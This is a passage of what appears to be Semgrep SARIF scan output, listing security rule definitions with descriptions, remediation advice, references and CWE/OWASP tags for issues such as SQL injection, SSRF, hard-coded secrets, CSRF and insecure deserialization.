this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/javascript.express.mysql.express-mysql-sqli.express-mysql-sqli","id":"javascript.express.mysql.express-mysql-sqli.express-mysql-sqli","name":"javascript.express.mysql.express-mysql-sqli.express-mysql-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.mysql.express-mysql-sqli.express-mysql-sqli"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Insecure cryptographic hash algorithms should not be used, they often have known vulnerabilities like collision. Use a more secure hash algorithm instead such as `HMACSHA256`. If you hash passwords, use a slow hash function like `Argon2` or `scrypt`."},"help":{"markdown":"Insecure cryptographic hash algorithms should not be used, they often have known vulnerabilities like collision. Use a more secure hash algorithm instead such as `HMACSHA256`. If you hash passwords, use a slow hash function like `Argon2` or `scrypt`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet.crypto.hash.insecure-crypto-hash.insecure-crypto-hash)\n - [https://cwe.mitre.org/data/definitions/328.html](https://cwe.mitre.org/data/definitions/328.html)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Insecure cryptographic hash algorithms should not be used, they often have known vulnerabilities like collision. Use a more secure hash algorithm instead such as `HMACSHA256`. If you hash passwords, use a slow hash function like `Argon2` or `scrypt`."},"helpUri":"https://semgrep.dev/r/csharp.dotnet.crypto.hash.insecure-crypto-hash.insecure-crypto-hash","id":"csharp.dotnet.crypto.hash.insecure-crypto-hash.insecure-crypto-hash","name":"csharp.dotnet.crypto.hash.insecure-crypto-hash.insecure-crypto-hash","properties":{"precision":"very-high","tags":["CWE-328: Use of Weak Hash","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet.crypto.hash.insecure-crypto-hash.insecure-crypto-hash"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.db.sequelize-express.sequelize-express)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/javascript.express.db.sequelize-express.sequelize-express","id":"javascript.express.db.sequelize-express.sequelize-express","name":"javascript.express.db.sequelize-express.sequelize-express","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.db.sequelize-express.sequelize-express"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Secure cookie flag is explicitly disabled. This will cause cookies to be transmitted over unencrypted HTTP connections which can allow theft of confidential user data such as session tokens."},"help":{"markdown":"Secure cookie flag is explicitly disabled. This will cause cookies to be transmitted over unencrypted HTTP connections which can allow theft of confidential user data such as session tokens.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.search-cookie-secure-false-ini-config.search-cookie-secure-false-ini-config)\n - [https://www.php.net/manual/en/function.setcookie.php](https://www.php.net/manual/en/function.setcookie.php)\n - [https://www.php.net/manual/en/function.session-set-cookie-params.php](https://www.php.net/manual/en/function.session-set-cookie-params.php)\n - [https://www.php.net/manual/en/configuration.file.php](https://www.php.net/manual/en/configuration.file.php)\n","text":"Secure cookie flag is explicitly disabled. This will cause cookies to be transmitted over unencrypted HTTP connections which can allow theft of confidential user data such as session tokens."},"helpUri":"https://semgrep.dev/r/php.lang.security.search-cookie-secure-false-ini-config.search-cookie-secure-false-ini-config","id":"php.lang.security.search-cookie-secure-false-ini-config.search-cookie-secure-false-ini-config","name":"php.lang.security.search-cookie-secure-false-ini-config.search-cookie-secure-false-ini-config","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.search-cookie-secure-false-ini-config.search-cookie-secure-false-ini-config"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"User-controllable argument $DATAVAL to $METHOD passed to Axios via internal handler $INNERFUNC. This could be a server-side request forgery. A user could call a restricted API or leak internal headers to an unauthorized party. Validate your user arguments against an allowlist of known URLs, or consider refactoring so that user-controlled data is not necessary."},"help":{"markdown":"User-controllable argument $DATAVAL to $METHOD passed to Axios via internal handler $INNERFUNC. This could be a server-side request forgery. A user could call a restricted API or leak internal headers to an unauthorized party. Validate your user arguments against an allowlist of known URLs, or consider refactoring so that user-controlled data is not necessary.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.apollo.security.apollo-axios-ssrf.apollo-axios-ssrf)\n - [https://www.cvedetails.com/cve/CVE-2020-28168/](https://www.cvedetails.com/cve/CVE-2020-28168/)\n - [https://owasp.org/www-community/attacks/Server_Side_Request_Forgery](https://owasp.org/www-community/attacks/Server_Side_Request_Forgery)\n","text":"User-controllable argument $DATAVAL to $METHOD passed to Axios via internal handler $INNERFUNC. This could be a server-side request forgery. A user could call a restricted API or leak internal headers to an unauthorized party. Validate your user arguments against an allowlist of known URLs, or consider refactoring so that user-controlled data is not necessary."},"helpUri":"https://semgrep.dev/r/javascript.apollo.security.apollo-axios-ssrf.apollo-axios-ssrf","id":"javascript.apollo.security.apollo-axios-ssrf.apollo-axios-ssrf","name":"javascript.apollo.security.apollo-axios-ssrf.apollo-axios-ssrf","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.apollo.security.apollo-axios-ssrf.apollo-axios-ssrf"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found an initialization of the Intercom Messenger that identifies a User, but does not specify a `user_hash`. This configuration allows users to impersonate one another. See the Intercom Identity Verification docs for more context https://www.intercom.com/help/en/articles/183-set-up-identity-verification-for-web-and-mobile"},"help":{"markdown":"Found an initialization of the Intercom Messenger that identifies a User, but does not specify a `user_hash`. This configuration allows users to impersonate one another. See the Intercom Identity Verification docs for more context https://www.intercom.com/help/en/articles/183-set-up-identity-verification-for-web-and-mobile\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.intercom.security.audit.intercom-settings-user-identifier-without-user-hash.intercom-settings-user-identifier-without-user-hash)\n - [https://www.intercom.com/help/en/articles/183-set-up-identity-verification-for-web-and-mobile](https://www.intercom.com/help/en/articles/183-set-up-identity-verification-for-web-and-mobile)\n","text":"Found an initialization of the Intercom Messenger that identifies a User, but does not specify a `user_hash`. This configuration allows users to impersonate one another. See the Intercom Identity Verification docs for more context https://www.intercom.com/help/en/articles/183-set-up-identity-verification-for-web-and-mobile"},"helpUri":"https://semgrep.dev/r/javascript.intercom.security.audit.intercom-settings-user-identifier-without-user-hash.intercom-settings-user-identifier-without-user-hash","id":"javascript.intercom.security.audit.intercom-settings-user-identifier-without-user-hash.intercom-settings-user-identifier-without-user-hash","name":"javascript.intercom.security.audit.intercom-settings-user-identifier-without-user-hash.intercom-settings-user-identifier-without-user-hash","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.intercom.security.audit.intercom-settings-user-identifier-without-user-hash.intercom-settings-user-identifier-without-user-hash"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.mongodb.node-mongodb-hardcoded-secret.node-mongodb-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.mongodb.node-mongodb-hardcoded-secret.node-mongodb-hardcoded-secret","id":"javascript.mongodb.node-mongodb-hardcoded-secret.node-mongodb-hardcoded-secret","name":"javascript.mongodb.node-mongodb-hardcoded-secret.node-mongodb-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.mongodb.node-mongodb-hardcoded-secret.node-mongodb-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-aiohttp.tainted-fastapi-http-request-aiohttp)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-aiohttp.tainted-fastapi-http-request-aiohttp","id":"python.fastapi.net.tainted-fastapi-http-request-aiohttp.tainted-fastapi-http-request-aiohttp","name":"python.fastapi.net.tainted-fastapi-http-request-aiohttp.tainted-fastapi-http-request-aiohttp","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.net.tainted-fastapi-http-request-aiohttp.tainted-fastapi-http-request-aiohttp"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application appears to have disabled the cookie encryption middleware which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. You can prevent this vulnerability by encrypting cookies if you use them to handle sessions or storing sensitive data. To enable the cookie encryption middleware add `\\$APP\\Http\\Middleware\\EncryptCookies` to the middleware group in your `$APP\\Http\\Kernel` class."},"help":{"markdown":"The application appears to have disabled the cookie encryption middleware which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. You can prevent this vulnerability by encrypting cookies if you use them to handle sessions or storing sensitive data. To enable the cookie encryption middleware add `\\$APP\\Http\\Middleware\\EncryptCookies` to the middleware group in your `$APP\\Http\\Kernel` class.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-cookie-not-encrypted.laravel-cookie-not-encrypted)\n - [https://laravel.com/docs/9.x/responses#cookies-and-encryption](https://laravel.com/docs/9.x/responses#cookies-and-encryption)\n - [https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md#cookie-security-and-session-management](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md#cookie-security-and-session-management)\n","text":"The application appears to have disabled the cookie encryption middleware which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. You can prevent this vulnerability by encrypting cookies if you use them to handle sessions or storing sensitive data. To enable the cookie encryption middleware add `\\$APP\\Http\\Middleware\\EncryptCookies` to the middleware group in your `$APP\\Http\\Kernel` class."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-cookie-not-encrypted.laravel-cookie-not-encrypted","id":"php.laravel.security.laravel-cookie-not-encrypted.laravel-cookie-not-encrypted","name":"php.laravel.security.laravel-cookie-not-encrypted.laravel-cookie-not-encrypted","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-cookie-not-encrypted.laravel-cookie-not-encrypted"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'Integer.toHexString()' strips leading zeroes from each byte if read byte-by-byte. This mistake weakens the hash value computed since it introduces more collisions. Use 'String.format(\"%02X\", ...)' instead."},"help":{"markdown":"'Integer.toHexString()' strips leading zeroes from each byte if read byte-by-byte. This mistake weakens the hash value computed since it introduces more collisions. Use 'String.format(\"%02X\", ...)' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.bad-hexa-conversion.bad-hexa-conversion)\n - [https://cwe.mitre.org/data/definitions/704.html](https://cwe.mitre.org/data/definitions/704.html)\n","text":"'Integer.toHexString()' strips leading zeroes from each byte if read byte-by-byte. This mistake weakens the hash value computed since it introduces more collisions. Use 'String.format(\"%02X\", ...)' instead."},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.bad-hexa-conversion.bad-hexa-conversion","id":"kotlin.lang.security.bad-hexa-conversion.bad-hexa-conversion","name":"kotlin.lang.security.bad-hexa-conversion.bad-hexa-conversion","properties":{"precision":"very-high","tags":["CWE-704: Incorrect Type Conversion or Cast","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.bad-hexa-conversion.bad-hexa-conversion"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Mass assignment or Autobinding vulnerability in code allows an attacker to execute over-posting attacks, which could create a new parameter in the binding request and manipulate the underlying object in the application."},"help":{"markdown":"Mass assignment or Autobinding vulnerability in code allows an attacker to execute over-posting attacks, which could create a new parameter in the binding request and manipulate the underlying object in the application.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet.security.audit.mass-assignment.mass-assignment)\n - [https://cwe.mitre.org/data/definitions/915.html](https://cwe.mitre.org/data/definitions/915.html)\n - [https://github.com/OWASP/API-Security/blob/master/2019/en/src/0xa6-mass-assignment.md](https://github.com/OWASP/API-Security/blob/master/2019/en/src/0xa6-mass-assignment.md)\n","text":"Mass assignment or Autobinding vulnerability in code allows an attacker to execute over-posting attacks, which could create a new parameter in the binding request and manipulate the underlying object in the application."},"helpUri":"https://semgrep.dev/r/csharp.dotnet.security.audit.mass-assignment.mass-assignment","id":"csharp.dotnet.security.audit.mass-assignment.mass-assignment","name":"csharp.dotnet.security.audit.mass-assignment.mass-assignment","properties":{"precision":"very-high","tags":["CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes","MEDIUM CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet.security.audit.mass-assignment.mass-assignment"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.sqlx.mysql-connection-url.mysql-connection-url)\n - [https://docs.rs/sqlx/latest/sqlx/](https://docs.rs/sqlx/latest/sqlx/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.sqlx.mysql-connection-url.mysql-connection-url","id":"rust.secrets.sqlx.mysql-connection-url.mysql-connection-url","name":"rust.secrets.sqlx.mysql-connection-url.mysql-connection-url","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.sqlx.mysql-connection-url.mysql-connection-url"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cherrypy.net.tainted-cherrypy-http-request-requests.tainted-cherrypy-http-request-requests)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.cherrypy.net.tainted-cherrypy-http-request-requests.tainted-cherrypy-http-request-requests","id":"python.cherrypy.net.tainted-cherrypy-http-request-requests.tainted-cherrypy-http-request-requests","name":"python.cherrypy.net.tainted-cherrypy-http-request-requests.tainted-cherrypy-http-request-requests","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.cherrypy.net.tainted-cherrypy-http-request-requests.tainted-cherrypy-http-request-requests"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a template variable used in an anchor tag with the 'href' attribute. This allows a malicious actor to input the 'javascript:' URI and is subject to cross- site scripting (XSS) attacks. If using a relative URL, start with a literal forward slash and concatenate the URL, like this: href='/<%= link =>'. You may also consider setting the Content Security Policy (CSP) header."},"help":{"markdown":"Detected a template variable used in an anchor tag with the 'href' attribute. This allows a malicious actor to input the 'javascript:' URI and is subject to cross- site scripting (XSS) attacks. If using a relative URL, start with a literal forward slash and concatenate the URL, like this: href='/<%= link =>'. You may also consider setting the Content Security Policy (CSP) header.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.templates.var-in-href.var-in-href)\n - [https://flask.palletsprojects.com/en/1.1.x/security/#cross-site-scripting-xss#:~:text=javascript:%20URI](https://flask.palletsprojects.com/en/1.1.x/security/#cross-site-scripting-xss#:~:text=javascript:%20URI)\n - [https://github.com/pugjs/pug/issues/2952](https://github.com/pugjs/pug/issues/2952)\n","text":"Detected a template variable used in an anchor tag with the 'href' attribute. This allows a malicious actor to input the 'javascript:' URI and is subject to cross- site scripting (XSS) attacks. If using a relative URL, start with a literal forward slash and concatenate the URL, like this: href='/<%= link =>'. You may also consider setting the Content Security Policy (CSP) header."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.templates.var-in-href.var-in-href","id":"ruby.rails.security.audit.xss.templates.var-in-href.var-in-href","name":"ruby.rails.security.audit.xss.templates.var-in-href.var-in-href","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.templates.var-in-href.var-in-href"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This code contains bidirectional (bidi) characters. While this is useful for support of right-to-left languages such as Arabic or Hebrew, it can also be used to trick language parsers into executing code in a manner that is different from how it is displayed in code editing and review tools. If this is not what you were expecting, please review this code in an editor that can reveal hidden Unicode characters."},"help":{"markdown":"This code contains bidirectional (bidi) characters. While this is useful for support of right-to-left languages such as Arabic or Hebrew, it can also be used to trick language parsers into executing code in a manner that is different from how it is displayed in code editing and review tools. If this is not what you were expecting, please review this code in an editor that can reveal hidden Unicode characters.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.unicode.security.bidi.contains-bidirectional-characters)\n - [https://trojansource.codes/](https://trojansource.codes/)\n","text":"This code contains bidirectional (bidi) characters. While this is useful for support of right-to-left languages such as Arabic or Hebrew, it can also be used to trick language parsers into executing code in a manner that is different from how it is displayed in code editing and review tools. If this is not what you were expecting, please review this code in an editor that can reveal hidden Unicode characters."},"helpUri":"https://semgrep.dev/r/generic.unicode.security.bidi.contains-bidirectional-characters","id":"generic.unicode.security.bidi.contains-bidirectional-characters","name":"generic.unicode.security.bidi.contains-bidirectional-characters","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: generic.unicode.security.bidi.contains-bidirectional-characters"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.pgx.pgx-empty-password.pgx-empty-password)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.pgx.pgx-empty-password.pgx-empty-password","id":"go.secrets.pgx.pgx-empty-password.pgx-empty-password","name":"go.secrets.pgx.pgx-empty-password.pgx-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.pgx.pgx-empty-password.pgx-empty-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.deserialization.tainted-dill-django.tainted-dill-django)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://dill.readthedocs.io/en/latest/index.html](https://dill.readthedocs.io/en/latest/index.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://pypi.org/project/dill/](https://pypi.org/project/dill/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections."},"helpUri":"https://semgrep.dev/r/python.django.deserialization.tainted-dill-django.tainted-dill-django","id":"python.django.deserialization.tainted-dill-django.tainted-dill-django","name":"python.django.deserialization.tainted-dill-django.tainted-dill-django","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.deserialization.tainted-dill-django.tainted-dill-django"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected wildcard access granted to sts:AssumeRole. This means anyone with your AWS account ID and the name of the role can assume the role. Instead, limit to a specific identity in your account, like this: 